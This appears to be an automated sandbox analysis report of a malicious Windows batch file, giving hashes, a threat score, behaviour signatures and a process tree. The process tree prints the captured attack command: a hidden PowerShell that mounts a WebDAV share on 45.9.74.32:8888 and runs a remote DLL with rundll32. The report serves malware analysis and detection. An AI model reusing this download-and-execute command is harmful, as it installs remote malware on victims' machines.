Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    14/07/2024, 08:04

General

  • Target

    29042228112991011762.bat

  • Size

    2KB

  • MD5

    1e0f54adf2161c44ef316107fcec68ac

  • SHA1

    e7f99c385b72961264cc455e76833cbce0f4bd39

  • SHA256

    b04ca3dca5be60fd389872faabefe0257b3f562c86694d8c20a985f0cc17e57f

  • SHA512

    b5361e17ff7d0a6d73cba61ddf7acb05af70c5498dab08d7c337dd2e73103c4b331e8ecd20b5ccfcc0cc821c5d877cc752b5d9107608640b1944d6016e8cc672

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\29042228112991011762.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2216
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3037.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2776
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2812
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3037.dll entry
          3⤵
            PID:2548

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • memory/2216-16-0x0000000002320000-0x0000000002420000-memory.dmp

              Filesize

              1024KB

            • memory/2776-23-0x000000001B520000-0x000000001B802000-memory.dmp

              Filesize

              2.9MB

            • memory/2776-24-0x00000000027F0000-0x00000000027F8000-memory.dmp

              Filesize

              32KB